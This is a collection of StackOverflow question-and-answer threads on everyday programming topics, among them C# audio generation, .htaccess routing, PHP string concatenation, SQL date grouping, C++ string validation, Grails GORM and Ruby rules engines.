A: Code below generate sine wave. You can to change frequency and other parameters
private void TestSine()
{
IntPtr format;
byte[] data;
GetSineWave(1000, 100, 44100, -1, out format, out data);
WaveWriter ww = new WaveWriter(File.Create(@"d:\work\sine.wav"),
AudioCompressionManager.FormatBytes(format));
ww.WriteData(data);
ww.Close();
}
private void GetSineWave(double freq, int durationMs, int sampleRate, short decibel, out IntPtr format, out byte[] data)
{
short max = dB2Short(decibel);//short.MaxValue
double fs = sampleRate; // sample freq
int len = sampleRate * durationMs / 1000;
short[] data16Bit = new short[len];
for (int i = 0; i < len; i++)
{
double t = (double)i / fs; // current time
data16Bit[i] = (short)(Math.Sin(2 * Math.PI * t * freq) * max);
}
IntPtr format1 = AudioCompressionManager.GetPcmFormat(1, 16, (int)fs);
byte[] data1 = new byte[data16Bit.Length * 2];
Buffer.BlockCopy(data16Bit, 0, data1, 0, data1.Length);
format = format1;
data = data1;
}
private static short dB2Short(double dB)
{
double times = Math.Pow(10, dB / 10);
return (short)(short.MaxValue * times);
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616852",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "8"
} |
Q: how to write this 404 rule in .htaccess I have a custom CMS. It works very well except for one thing. I am wondering how best to implement 404 functionality. The site should only have the following url types
index.php?upn=something
or
gallery.php?groupId=2
Any directories that are appended to the url after index.php or gallery.php should throw 404's. Also I would like to throw a 404 if the content is not found in the database when a upn is specified. I realise that I can throw the header in php. But I said I would try to get a little more insight into this problem overall. So if ye have any info or pointers I'd appreciate them.
A: You'd have to return the 404 in the php code, but you can set the 404 handler like so in htaccess:
ErrorDocument 404 /errors/notfound.html
A: I like to do this programatically from my PHP code. You could write some simple Route Component, that try to find what you want. Today you're routing just to actions (index.php?upn= and gallery.php?groupId=) but someday in the future you may add new one, and you should change your .htaccess, which is more difficult. If you do it all in your app tier you can change it simpler.
Paste this code in a .htaccess file at the root of your project, and will route every request to router.php. Once you have the request you can decide what action to do.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ router.php?url=$1 [QSA,L]
</IfModule>
Hope it helps.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616856",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: How do I insert a PHP code within another PHP code? I'm using WordPress. I appreciate being shown the code, but this is one I am interested in straight out learning how to do myself too - so if you know where I can find a tutorial or can give me information I'd appreciate it!
I'm calling posts and want to include a PHP code within a PHP code, this is for a theme options panel.
<?php
query_posts('cat=-51&posts_per_page=3&paged='.$paged);
if (have_posts()) :
?>
Where the 51 is I want to put:
<?php echo get_option('to_postc_home'); ?>
Where the 3 is I want to put:
<?php echo get_option('to_posti_home'); ?>
A: If I'm interpreting right, this is what you need, use the concatenation operator . to use those functions in place of plain text ex: 'this is text' versus 'this '.get_option('stuff').' text'
<?php
query_posts('cat='.get_option('to_postc_home').'&posts_per_page='.get_option('to_posti_home').'&paged='.$paged);
if (have_posts()) :
?>
A: To include a php file from another file you use the include function
A: You can use it whereever you want
<?php
query_posts('cat=-51&posts_per_page=3&paged='.$paged);
if (have_posts()) :
?>
hello world
<?php echo get_option('to_postc_home');
endif;
A: <?php
$a = get_option('to_postc_home');
$b = get_option('to_posti_home');
query_posts("cat={$a}&posts_per_page={$b}&paged={$paged}");
if (have_posts())
?>
A: That is called string concatenation, and you are already using that on the first line of your code, when you concatenate the literal string 'cat=-51&posts_per_page=3&paged=' with the variable $paged. In PHP, the . operator does that.
So, in your code, you can do this:
<?php
query_posts('cat=-' . get_option('to_postc_home') . '&posts_per_page=' . get_option('to_posti_home') . '&paged='.$paged);
?>
This will inject the output of the function calls at the places you indicated.
A: <?php
$cat = get_option('to_postc_home');
$per_page = get_option('to_posti_home');
query_posts("cat=${cat}&posts_per_page=${per_page}&paged=".$paged);
if (have_posts())
?>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616857",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: SQL How To Group by Date Ranges Can someone help me figure out to group by a range of dates??
Right now I have query similar to this
Select date, count(x)
from data
group by date
This returns results that look like this
2011/1/1 10
2011/1/2 5
2011/1/3 8
2011/1/4 3
etc...
But I would like to count every 2 days so that the data would look like this
2011/1/1 15
2011/1/3 11
Any ideas??
Thanks
A: You could normalize the dates into groups of 2 by converting to a numerical integer value, and reducing to the even numbers. A simple way to do that is val / 2 * 2, because the first / 2 will be truncated of any decimal places (as long as the type of val is an integer!), and * 2 will return it to the original value except normalized to an even number. Here is an example that normalizes and groups the results using a CTE data source:
;with Data as (
select '1/1/2011' as [date], 1 as x union
select '1/1/2011' as [date], 2 as x union
select '1/1/2011' as [date], 3 as x union
select '1/1/2011' as [date], 4 as x union
select '1/1/2011' as [date], 5 as x union
select '1/1/2011' as [date], 6 as x union
select '1/1/2011' as [date], 7 as x union
select '1/1/2011' as [date], 8 as x union
select '1/1/2011' as [date], 9 as x union
select '1/1/2011' as [date], 10 as x union
select '1/2/2011' as [date], 11 as x union
select '1/2/2011' as [date], 12 as x union
select '1/2/2011' as [date], 13 as x union
select '1/2/2011' as [date], 14 as x union
select '1/2/2011' as [date], 15 as x union
select '1/3/2011' as [date], 16 as x union
select '1/3/2011' as [date], 17 as x union
select '1/3/2011' as [date], 18 as x union
select '1/3/2011' as [date], 19 as x union
select '1/3/2011' as [date], 20 as x union
select '1/3/2011' as [date], 21 as x union
select '1/3/2011' as [date], 22 as x union
select '1/3/2011' as [date], 23 as x union
select '1/4/2011' as [date], 24 as x union
select '1/4/2011' as [date], 25 as x union
select '1/4/2011' as [date], 26 as x
)
Select
cast(cast(cast(Date as datetime) as integer) / 2 * 2 as datetime) as date,
count(x)
from data
group by cast(cast(Date as datetime) as integer) / 2 * 2
Output:
date (No column name)
2011-01-01 00:00:00.000 15
2011-01-03 00:00:00.000 11
A: Select floor((date - trunc(date,'MM')) / 2), count(x)
from data
group by floor((date - trunc(date,'MM')) / 2)
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616860",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: How to draw variable-width UIBezierPath? I'm wondering how I should go about drawing a uibezierpath where the stroke width peaks at the center of the arc. Here's an example of what I mean:
Either I have to go through each point when drawing, and set the stroke width accordingly, or there's an easier way. Can anyone point me in the right direction?
Thanks
A: You can just draw the two outer paths with no stroke, join them, and then fill in the space between them.
A: Another way to try this if you're interested:
I ended up getting this to work by creating a loop to draw a couple hundred line segments, and changing the line width accordingly during the draw loop.
To adjust the line width I used the following function: MAX_WIDTH * sinf(M_PI * (i/NUMBER_OF_SEGMENTS)
Looks great and no performance issues as far as I can tell. Worked out particularly well because I already had a list of the points to use on the curve. For other cases I'm guessing it would be better to use sosborn's method.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616861",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: Google search preview style jQuery plugin I'm looking for a jQuery plugin which is similar than the new Google search page preview.
A: A quick search came up with these, I don't have any experience with any of them though..
http://cssglobe.com/post/1695/easiest-tooltip-and-image-preview-using-jquery
http://craigsworks.com/projects/qtip/demos/content/thumbnail
Best of luck
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616862",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Div tag an JQuery UI I am working on a widget control. The widget is loaded dynamically into a widget container. The widget container contains a div which holds the widget, this is known as the widget area. The widget container is made to be draggable and resizable using JQuery UI.
The problem I am having is that the bottom-margin of the widget area does not seem to work or perhaps I am misuderstanding how margins work. The left top and right margins work fine, I have them set at 20px and so the widget area is 20px from the left top and right of the widget container. The bottom margin is also 20px but the distance between the bottom of the widget area is much more than 20px from the bottom of the widget container. I have tried it in firefox and the same issue occurs.
When I resize the widget container the widget area's left also resizes because of the margins however the bottom of the widget are doesn't resize at all because bottom-margin doesn't seem to be working.
here is my widget container and css.
<asp:Panel ID="Panel1" CssClass="widgetcontainer" runat="server" Height="500px" BorderStyle="Solid" BorderWidth="1px" Width="485px" BackColor="White">
<asp:Panel ID="Panel2" CssClass="widgetcontainerheader" runat="server">
<asp:Label ID="Label2" runat="server" Text="Gadget header"></asp:Label>
</asp:Panel>
<asp:Panel ID="WidgetBodyPanel" CssClass="widgetarea" runat="Server" BorderStyle="Solid">
<p>
some text
</p>
</asp:Panel>
</asp:Panel>
div.widgetcontainerheader
{
background-color:#CCFF99;
border-bottom-style:solid;
border-bottom-width:thin;
border-bottom-color:#D2D2D2;
position: relative;
width:100%;
height:20px;
}
.widgetarea
{
position:relative;
margin-left:20px;
margin-top:20px;
margin-right:20px;
margin-bottom:20px;
}
Could someone please advise why the bottom-margin does not work?
Thank you
A: You have the height of the widgetcontainer set to 500px.
I would say that widgetarea does have a margin-bottom of 20px but that it appears larger than that because the widget area has no height. Perhaps set height: 100%.
.widgetarea
{
margin: 20px;
height: 100%;
}
Btw, well worth installing http://getfirebug.com/ for debugging these annoying ui issues.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616864",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: SQL Server CE Enterprise Library 5 Cannot pass parameters I have an SQL CE(.sdf) database which I am trying to access from MVC3 application using MS Enterprise Library 5.0. I have referenced the SQLCE dll for Compact Edition 4.0.
I use the following code to execute a simple Select using Enterprise Library
> SqlCeDatabase objDB = new SqlCeDatabase(connectionString);
> IDataReader rdr = objDB.ExecuteReaderSql("select *
> from sys_config where (cfg_code>=@p1 and cfg_code<=@p2) or
> cfg_code=@p3",
> new DbParameter[] { new SqlCeParameter("@p1",
> 1010), new SqlCeParameter("@p2", 1010), new SqlCeParameter("@p3",
> 1010) });
When I run the above I get the error
The SqlCeParameterCollection only accepts non-null SqlCeParameter type objects, not SqlCeParameter objects
I could not make much sense out of it so I tried to construct an SQLCeCommand using the Select statement and add the same parameter array to the command and executereADER on the command.This seems to work perfectly.
However I want to get it going using Enterprise Library. What am I doing wrong?
thanks
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616865",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: how to test a string for letters only how could I test a string against only valid characters like letters a-z?...
string name;
cout << "Enter your name"
cin >> name;
string letters = "qwertyuiopasdfghjklzxcvbnm";
string::iterator it;
for(it = name.begin(); it = name.end(); it++)
{
size_t found = letters.find(it);
}
A: STL way:
struct TestFunctor
{
bool stringIsCorrect;
TestFunctor()
:stringIsCorrect(true)
{}
void operator() (char ch)
{
if(stringIsCorrect && !((ch <= 'z' && ch >= 'a') || (ch <= 'Z' && ch >= 'A')))
stringIsCorrect = false;
}
}
TestFunctor functor;
for_each(name.begin(), name.end(), functor);
if(functor.stringIsCorrect)
cout << "Yay";
A: First, using std::cin >> name will fail if the user enters John Smith because >> splits input on whitespace characters. You should use std::getline() to get the name:
std::getline(std::cin, name);
Here we go…
There are a number of ways to check that a string contains only alphabetic characters. The simplest is probably s.find_first_not_of(t), which returns the index of the first character in s that is not in t:
bool contains_non_alpha
= name.find_first_not_of("abcdefghijklmnopqrstuvwxyz") != std::string::npos;
That rapidly becomes cumbersome, however. To also match uppercase alphabetic characters, you’d have to add 26 more characters to that string! Instead, you may want to use a combination of find_if from the <algorithm> header and std::isalpha from <cctype>:
#include <algorithm>
#include <cctype>
struct non_alpha {
bool operator()(char c) {
return !std::isalpha(c);
}
};
bool contains_non_alpha
= std::find_if(name.begin(), name.end(), non_alpha()) != name.end();
find_if searches a range for a value that matches a predicate, in this case a functor non_alpha that returns whether its argument is a non-alphabetic character. If find_if(name.begin(), name.end(), ...) returns name.end(), then no match was found.
But there’s more!
To do this as a one-liner, you can use the adaptors from the <functional> header:
#include <algorithm>
#include <cctype>
#include <functional>
bool contains_non_alpha
= std::find_if(name.begin(), name.end(),
std::not1(std::ptr_fun((int(*)(int))std::isalpha))) != name.end();
The std::not1 produces a function object that returns the logical inverse of its input; by supplying a pointer to a function with std::ptr_fun(...), we can tell std::not1 to produce the logical inverse of std::isalpha. The cast (int(*)(int)) is there to select the overload of std::isalpha which takes an int (treated as a character) and returns an int (treated as a Boolean).
Or, if you can use a C++11 compiler, using a lambda cleans this up a lot:
#include <cctype>
bool contains_non_alpha
= std::find_if(name.begin(), name.end(),
[](char c) { return !std::isalpha(c); }) != name.end();
[](char c) -> bool { ... } denotes a function that accepts a character and returns a bool. In our case we can omit the -> bool return type because the function body consists of only a return statement. This works just the same as the previous examples, except that the function object can be specified much more succinctly.
And (almost) finally…
In C++11 you can also use a regular expression to perform the match:
#include <regex>
bool contains_non_alpha
= !std::regex_match(name, std::regex("^[A-Za-z]+$"));
But of course…
None of these solutions addresses the issue of locale or character encoding! For a locale-independent version of isalpha(), you’d need to use the C++ header <locale>:
#include <locale>
bool isalpha(char c) {
std::locale locale; // Default locale.
return std::use_facet<std::ctype<char> >(locale).is(std::ctype<char>::alpha, c);
}
Ideally we would use char32_t, but ctype doesn’t seem to be able to classify it, so we’re stuck with char. Lucky for us we can dance around the issue of locale entirely, because you’re probably only interested in English letters. There’s a handy header-only library called UTF8-CPP that will let us do what we need to do in a more encoding-safe way. First we define our version of isalpha() that uses UTF-32 code points:
bool isalpha(uint32_t c) {
return (c >= 0x0041 && c <= 0x005A)
|| (c >= 0x0061 && c <= 0x007A);
}
Then we can use the utf8::iterator adaptor to adapt the basic_string::iterator from octets into UTF-32 code points:
#include <utf8.h>
bool contains_non_alpha
= std::find_if(utf8::iterator(name.begin(), name.begin(), name.end()),
utf8::iterator(name.end(), name.begin(), name.end()),
[](uint32_t c) { return !isalpha(c); }) != name.end();
For slightly better performance at the cost of safety, you can use utf8::unchecked::iterator:
#include <utf8.h>
bool contains_non_alpha
= std::find_if(utf8::unchecked::iterator(name.begin()),
utf8::unchecked::iterator(name.end()),
[](uint32_t c) { return !isalpha(c); }) != name.end();
This will fail on some invalid input.
Using UTF8-CPP in this way assumes that the host encoding is UTF-8, or a compatible encoding such as ASCII. In theory this is still an imperfect solution, but in practice it will work on the vast majority of platforms.
I hope this answer is finally complete!
A: If you use Boost, you can use boost::algorithm::is_alpha predicate to perform this check. Here is how to use it:
const char* text = "hello world";
bool isAlpha = all( text1, is_alpha() );
Update:
As the documentation states, "all() checks all elements of a container to satisfy a condition specified by a predicate". The call to all() is needed here, since is_alpha() actually operates on characters.
Hope, I helped.
A: C++11 approach using std::all_of:
std::all_of(std::begin(name), std::end(name),
[](char c){ return std::isalpha(c); });
std::all_of will only return true if all of the elements are true according to the supplied predicate function.
A: I would suggest investigating the ctype library:
http://www.cplusplus.com/reference/std/locale/ctype/
For example, the function is (see ctype.is) is a way to check properties on letters in locale sensitive manner:
#include <locale>
using namespace std;
bool is_alpha(char c) {
locale loc;
bool upper = use_facet< ctype<char> >(loc).is( ctype<char>::alpha, quote[0]);
return upper;
}
A: for (string::iterator it=name.begin(); it!=name.end(); ++it)
{
if ((*it) < 0x61 || (*it) > 0x71)
// string contains characters other than a-z
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616867",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "21"
} |
Q: Mergesort C++ Windows Form Application I am at work on a gui based mergesort application. I am trying to print the steps as the recursive mergesort moves along. I am having trouble with accessing the "richTextBox1" component within my mergesort/print_arr() so I can print the current array out to the window. I am getting these errors which I understand a little bit. I think it has to do merge_sort being a static method trying to access a class component. I am stumped, any suggestions or workarounds for this without having to start completely over?
Here are the errors:
Form1.h(185): error C2227: left of '->Text' must point to class/struct/union/generic type
Form1.h(187): error C2227: left of '->Text' must point to class/struct/union/generic type
Form1.h(189): error C2227: left of '->Text' must point to class/struct/union/generic type
These errors are coming from the print_arr(arr[],size) method.
and the code......
#pragma once
#include <iostream>
#include <time.h>
#include <msclr\marshal.h>
#include <msclr\marshal_cppstd.h>
namespace prog1 {
using namespace std;
using namespace System;
using namespace System::ComponentModel;
using namespace System::Collections;
using namespace System::Windows::Forms;
using namespace System::Data;
using namespace System::Drawing;
using namespace msclr::interop;
/// <summary>
/// Summary for Form1
/// </summary>
public ref class Form1 : public System::Windows::Forms::Form
{
public:
Form1(void)
{
InitializeComponent();
//
//TODO: Add the constructor code here
//
}
static void randomize(int* a, int size){
srand ( time(NULL) );
for(unsigned i = 0; i < size; i++){
a[i] = rand()%45 + 1;
}
for(unsigned i = 0; i < size; i++){
cout << a[i] << " ";
}
}
protected:
/// <summary>
/// Clean up any resources being used.
/// </summary>
~Form1()
{
if (components)
{
delete components;
}
}
private: System::Windows::Forms::Label^ label1;
protected:
private: System::Windows::Forms::TextBox^ textBox1;
private: System::Windows::Forms::Button^ randButton;
private: System::Windows::Forms::Button^ increaseButton;
private: System::Windows::Forms::Button^ decreaseButton;
private: System::Windows::Forms::Label^ label2;
private: System::Windows::Forms::RichTextBox^ richTextBox1;
private: System::Windows::Forms::Button^ clearButton;
private:
/// <summary>
/// Required designer variable.
/// </summary>
System::ComponentModel::Container ^components;
#pragma region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
void InitializeComponent(void)
{
this->label1 = (gcnew System::Windows::Forms::Label());
this->textBox1 = (gcnew System::Windows::Forms::TextBox());
this->randButton = (gcnew System::Windows::Forms::Button());
this->increaseButton = (gcnew System::Windows::Forms::Button());
this->decreaseButton = (gcnew System::Windows::Forms::Button());
this->label2 = (gcnew System::Windows::Forms::Label());
this->richTextBox1 = (gcnew System::Windows::Forms::RichTextBox());
this->clearButton = (gcnew System::Windows::Forms::Button());
this->SuspendLayout();
//
// label1
//
this->label1->AutoSize = true;
this->label1->Location = System::Drawing::Point(13, 13);
this->label1->Name = L"label1";
this->label1->Size = System::Drawing::Size(65, 13);
this->label1->TabIndex = 0;
this->label1->Text = L"Enter a size:";
//
// textBox1
//
this->textBox1->Location = System::Drawing::Point(84, 13);
this->textBox1->Name = L"textBox1";
this->textBox1->Size = System::Drawing::Size(27, 20);
this->textBox1->TabIndex = 1;
//
// randButton
//
this->randButton->Location = System::Drawing::Point(118, 9);
this->randButton->Name = L"randButton";
this->randButton->Size = System::Drawing::Size(75, 23);
this->randButton->TabIndex = 2;
this->randButton->Text = L"Random";
this->randButton->UseVisualStyleBackColor = true;
this->randButton->Click += gcnew System::EventHandler(this, &Form1::randButton_Click);
//
// increaseButton
//
this->increaseButton->Location = System::Drawing::Point(200, 9);
this->increaseButton->Name = L"increaseButton";
this->increaseButton->Size = System::Drawing::Size(75, 23);
this->increaseButton->TabIndex = 3;
this->increaseButton->Text = L"Increasing";
this->increaseButton->UseVisualStyleBackColor = true;
//
// decreaseButton
//
this->decreaseButton->Location = System::Drawing::Point(282, 9);
this->decreaseButton->Name = L"decreaseButton";
this->decreaseButton->Size = System::Drawing::Size(75, 23);
this->decreaseButton->TabIndex = 4;
this->decreaseButton->Text = L"Decreasing";
this->decreaseButton->UseVisualStyleBackColor = true;
//
// label2
//
this->label2->AutoSize = true;
this->label2->Location = System::Drawing::Point(363, 14);
this->label2->Name = L"label2";
this->label2->Size = System::Drawing::Size(91, 13);
this->label2->TabIndex = 5;
this->label2->Text = L"# of comparisons:";
//
// richTextBox1
//
this->richTextBox1->Location = System::Drawing::Point(16, 44);
this->richTextBox1->Name = L"richTextBox1";
this->richTextBox1->Size = System::Drawing::Size(473, 238);
this->richTextBox1->TabIndex = 6;
this->richTextBox1->Text = L"";
//
// clearButton
//
this->clearButton->Location = System::Drawing::Point(411, 289);
this->clearButton->Name = L"clearButton";
this->clearButton->Size = System::Drawing::Size(75, 23);
this->clearButton->TabIndex = 7;
this->clearButton->Text = L"Clear";
this->clearButton->UseVisualStyleBackColor = true;
//
// Form1
//
this->AutoScaleDimensions = System::Drawing::SizeF(6, 13);
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
this->ClientSize = System::Drawing::Size(501, 319);
this->Controls->Add(this->clearButton);
this->Controls->Add(this->richTextBox1);
this->Controls->Add(this->label2);
this->Controls->Add(this->decreaseButton);
this->Controls->Add(this->increaseButton);
this->Controls->Add(this->randButton);
this->Controls->Add(this->textBox1);
this->Controls->Add(this->label1);
this->Name = L"Form1";
this->Text = L"CS4413 MergeSort";
this->ResumeLayout(false);
this->PerformLayout();
}
#pragma endregion
static void print_arr(int* arr, int size){
richTextBox1->Text = "[ ";
for(int i = 0; i < size; i++){
richTextBox1->Text = arr[i] + ", ";
}
richTextBox1->Text = " ]";
}
static void merge_arrays(int h, int m, int arr[], int arrA[], int arrB[]){
int i = 0,j=0,k=0;
while(i < h && j < m){
if(arrA[i] < arrB[j]){
arr[k] = arrA[i];
i++;
}else{
arr[k] = arrB[j];
j++;
}
k++;
}
if(i > h){
for(int x = j; x < m; x++){
arr[k] = arrB[x];
k++;
}
}else{
for(int x = i; x < h; x++){
arr[k] = arrA[x];
k++;
}
}
}
static int* merge_sort(int* arr, const int size){
if ( size == 1 )
return arr;
int h = size/2;
int m = size/2;
int arrayAHsize = h;
int arrayBMsize = size - m;
//cout << "h: " << h << "arr[h]: " << arr[h] << "m: " << m << " arraryBMsize" <<
//arrayBMsize<< endl;
int *arrA = (int*)malloc(h);
int *arrB = (int*)malloc(arrayBMsize);
int* pa;
int* pb;
for(int i = 0; i < h; i++){
arrA[i] = arr[i];
}
for(int i = 0; i < arrayBMsize; i++){
arrB[i] = arr[i + h];
}
cout << endl;
print_arr(arrA, size/2);
cout << "----";
print_arr(arrB, arrayBMsize);
cout << endl;
//l1 = mergesort( l1 )
pa = merge_sort(arrA,h);
//l2 = mergesort( l2 )
pb = merge_sort(arrB, arrayBMsize);
merge_arrays( h, arrayBMsize,arr, arrA, arrB);
}
private: System::Void randButton_Click(System::Object^ sender, System::EventArgs^ e) {
String^ s = textBox1->Text;
string Ssize = marshal_as<std::string>(s);
const int size = atoi(Ssize.c_str());
//int a[atoi(Ssize.c_str())];
int *a = (int*)malloc(size);
int* pa = a;
//int* pa;
randomize(a, size);
richTextBox1->Text += "Your set: \n";
for(int i = 0; i < size; i++){
richTextBox1->Text += a[i] + ", ";
}
pa = merge_sort(a,size);
}
};
}
A: static void print_arr(int* arr, int size){
richTextBox1->Text = "[ ";
for(int i = 0; i < size; i++){
richTextBox1->Text = arr[i] + ", ";
}
richTextBox1->Text = " ]";
}
Is wrong because richTextBox1 is a data member of the class, and a static function cannot access a class data member. Data members are for instances of the class, and thus a static function, not having an instance, would not know which instances data members to refer to.
Make this method non-static and you'll be fine.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616873",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: why read-only access is writing to my db, in GORM? In my app, I have a code like this:
// 1
Foo.get(123).example = "my example" // as expected, don't change value in db
// 2
Foo.get(123).bars.each { bar ->
bar.value *= -1 // it's changing "value" field in database!! WHY?
}
*
*note: Foo and Bar are tables in my DB
Why is gorm saving in database is second case?
I don't have any save() method in code.
Tks
SOLVED:
I need to use read() to get a readonly session.
(Foo.discard() also works)
Doc: http://grails.org/doc/latest/guide/5.%20Object%20Relational%20Mapping%20%28GORM%29.html#5.1.1%20Basic%20CRUD
(In the first case, I guess I made mistest)
A: Both should save, so the first example appears to be a bug. Grails requests run in the context of an OpenSessionInView interceptor. This opens a Hibernate session at the beginning of each request and binds it to the thread, and flushes and closes it at the end of the request. This helps a lot with lazy loading, but can have unexpected consequences like you're seeing.
Although you're not explicitly saving, the logic in the Hibernate flush involves finding all attached instances that have been modified and pushing the updates to the database. This is a performance optimization since if each change had been pushed it would slow things down. So everything that can wait until a flush is queued up.
So the only time you need to explicitly save is for new instances, and when you want to check validation errors.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616874",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: JQuery equivalent in prototype What is the form.serialize equivalent in JQuery if there is one?
$('person-example').serialize()
// -> 'username=sulien&age=22&hobbies=coding&hobbies=hiking'
$('person-example').serialize(true)
// -> {username: 'sulien', age: '22', hobbies: ['coding', 'hiking']}
A: It's the same, however you have to put # before your selector to select certain ID
$('#person-example').serialize();
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616876",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to define a CoffeeScript class that loads jQuery on first instantiation, then just fires a callback thereafter? I'm still pretty new to classical OOP using JavaScript; this seems like a general OOP question, but ideally I'm looking for an actual code example using CoffeeScript to help me learn.
I want to define a class that can be instantiated by any other function/class, but which executes its main functionality only the first time it's instantiated. The immediate use case will be a LoadjQuery class that can be called by an other class, which handles loading jQuery dynamically, but only once per document. The code that instantiates this class first can provide options and settings (jQuery version, minified/dev version, and a callback), but any other attempts to instantiate the class will just fire the callback immediately if jQuery has already been loaded, or wait for it to finish loading, then fire the callback.
Here's the code that I've written so far (valid but untested). I'm not sure if this is the most elegant way. For example, is there a way to avoid having to use the @jquery_loading flag, and/or the setInterval that waits for jQuery to finish loading? The former only really exists to prevent the code from being executed more than once, which is what I'd like to find a more natural approach for rather than relying on a flag and a conditional branch. The latter seems unnecessary and awkward, and I have in mind an approach sort of like Google Analytics's _gaq queue (where a queue of pending operations is built, and once the Google Analytics library has loaded, it works through the queue; subsequent additions to the queue are then processed immediately), but I don't know how to go about implementing that, and it may not need to be that sophisticated.
# load jQuery dynamically (see: http://code.google.com/apis/libraries/devguide.html#jquery)
class LoadjQuery
@jquery_loading = false
@jquery_loaded = false
constructor: (callback, version = 1, compressed = true) ->
if @jquery_loading # only load once per document
if @jquery_loaded
callback()
else
check_jquery = ->
if @jquery_loaded
clearInterval check_jquery
callback()
setInterval check_jquery, 100
else
@jquery_loading = true # set flag
script = document.createElement 'script'
script.src = "http://ajax.googleapis.com/ajax/libs/jquery/#{version}/jquery#{if compressed then '.min' else ''}.js"
script.onload = -> # set up event handler to ensure that jQuery is loaded before the callback is executed
if not @jquery_loaded
@jquery_loaded = true # set flag
callback()
script.onreadystatechange = -> # alternative event handler needed for Opera and IE
if not @jquery_loaded and (script.readyState is 'loaded' or script.readyState is 'complete')
@jquery_loaded = true # set flag
callback()
(document.getElementsByTagName('head') or document.getElementsByTagName 'body')[0].appendChild script
Is it maybe a singleton that I'm looking for? If so, what's the best-practice implementation (I've seen several different approaches), and can you give a code example to start from?
Thanks!
A: You're overcomplicating things.
Since you're already using their CDN, why not use Google's loader?
<script type="text/javascript" src="https://www.google.com/jsapi?key=INSERT-YOUR-KEY"></script>
<script type="text/coffeescript">
google.load "jquery", "1.6.4"
</script>
Here's a simple loader implementation:
# load scripts dynamically
class ScriptLoader
libraries =
jQuery: "http://ajax.googleapis.com/ajax/libs/jquery/$version/jquery.js"
constructor: (options..., callback) ->
[lib, version, compressed] = options
if @libraries[lib] then lib = @libraries[lib]
loadCallback = =>
return if @loaded
@loaded = true
callback()
s = document.createElement 'script'
s.onload = loadCallback
s.onreadystatechange = ->
loadCallback() if /loaded|complete/.test(s.readyState)
s.src = lib.replace('$version', version)
if compressed then lib = lib.replace('.js', '.min.js')
(document.getElementsByTagName('head')?[0] or document.body).appendChild s
You'd use this as
new ScriptLoader 'jQuery', '1.6', -> alert window.jQuery
I'm following your initial structure, but bear in mind you shouldn't instantiate objects for their side effects; best to have some kind of factory method that uses it internally:
loadScript 'jQuery', '1.6', -> ...
# or
ScriptLoader.load 'jQuery', -> ...
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616880",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: newbie want to create an animation to my website I'm writing a private website.
I want to add an animation of a paper (which moves a bit in its conrners).
I paln the user to add some text in the text area in that animated paper.
My program will read the text and save it.
The next time the user comes I'll show him this animated paper with the text he wrote.
1) As a newbie to animation. Should I use flasf? Is there a nice freeware and simple alternative?
I saw this site but thought maybe someone can tell from his own experience
2) How can I include text area in an animated paper?
3) How can fill animated paper with the saved data later on ?
TIA
A: 1)
This can be done in Flash. You need to look up some things:
1. Embedding fonts
2. Working with Textformat
3. Timeline animation or Tweens
2)
This depends of the complexity of your animation. You can add a DYNAMIC textfield inside your animation and give it an instance name to access it and change content.
3)
You need to retrieve the data from your saved location and then pass it into the DYNAMIC textfield myAnimation.textfield.text = loadedData.
You can save the data to a server using PHP and MySQL or you can use Flashs buildin cookie system called SharedObject (google it). Its up to you to decide.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616882",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Lightweight inference engine interfaceable with Ruby I have a large Ruby application that is just crying out for the addition of an inference engine; I don't need a lot of functionality, am not afraid of integrating C libraries, and am coming up empty in my Googling.
There seem to be plenty of rules engines in Python and on the JVM; while I'd prefer to be using Python, I'm not rewriting the whole damned application just to add an inference engine, so I'd really like to see if such a thing exists.
Anyone have any ideas?
A: Here are some pointers I found while Googling. I've added the last activity after specific gems to give an indication if they are still being maintained, and sorted by that date.
*
*See this question here on stackoverflow.com: Ruby & Rules Engines
*ruleby (July 26, 2011)
*unruly (May 13, 2011)
*rdfs (June 14, 2010)
*ruby-rules (March 30, 2007)
*khammurabi (August 4, 2005)
*SIE (February 4, 2002)
*treetop (irrelevant, is a parser generator)
Plenty of options, maybe there is something to your liking here?
A: Adding a new answer to an old question:
The wongi-engine is currently the best (only?) choice for a Ruby rules engine. It's based on the Rete algorithm and has some following on github.
All the options given by rdvdijk above are either no longer maintained, or completely dead and gone.
